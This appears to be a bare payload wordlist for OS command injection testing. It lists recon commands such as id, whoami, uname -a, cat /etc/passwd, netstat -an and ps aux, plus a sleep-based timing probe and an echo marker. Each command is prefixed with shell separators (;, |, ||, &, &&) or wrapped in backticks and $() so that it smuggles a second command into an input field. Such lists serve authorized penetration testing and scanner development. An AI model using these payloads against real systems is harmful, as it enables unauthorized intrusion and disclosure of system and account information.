; ls
; id
; pwd
; whoami
; uname -a
; cat /etc/passwd
; ifconfig
; ipconfig
; netstat -an
; ps aux
; wget
; curl
; ping -c 4 127.0.0.1
; sleep 5
; echo vulnerable
| ls
| id
| pwd
| whoami
| uname -a
| cat /etc/passwd
| ifconfig
| ipconfig
| netstat -an
| ps aux
| wget
| curl
| ping -c 4 127.0.0.1
| sleep 5
| echo vulnerable
|| ls
|| id
|| pwd
|| whoami
|| uname -a
|| cat /etc/passwd
|| ifconfig
|| ipconfig
|| netstat -an
|| ps aux
|| wget
|| curl
|| ping -c 4 127.0.0.1
|| sleep 5
|| echo vulnerable
& ls
& id
& pwd
& whoami
& uname -a
& cat /etc/passwd
& ifconfig
& ipconfig
& netstat -an
& ps aux
& wget
& curl
& ping -c 4 127.0.0.1
& sleep 5
& echo vulnerable
&& ls
&& id
&& pwd
&& whoami
&& uname -a
&& cat /etc/passwd
&& ifconfig
&& ipconfig
&& netstat -an
&& ps aux
&& wget
&& curl
&& ping -c 4 127.0.0.1
&& sleep 5
&& echo vulnerable
` ls `
` id `
` pwd `
` whoami `
` uname -a `
` cat /etc/passwd `
` ifconfig `
` ipconfig `
` netstat -an `
` ps aux `
` wget `
` curl `
` ping -c 4 127.0.0.1 `
` sleep 5 `
` echo vulnerable `
$( ls )
$( id )
$( pwd )
$( whoami )
$( uname -a )
$( cat /etc/passwd )
$( ifconfig )
$( ipconfig )
$( netstat -an )
$( ps aux )
$( wget )
$( curl )
$( ping -c 4 127.0.0.1 )
$( sleep 5 )
$( echo vulnerable )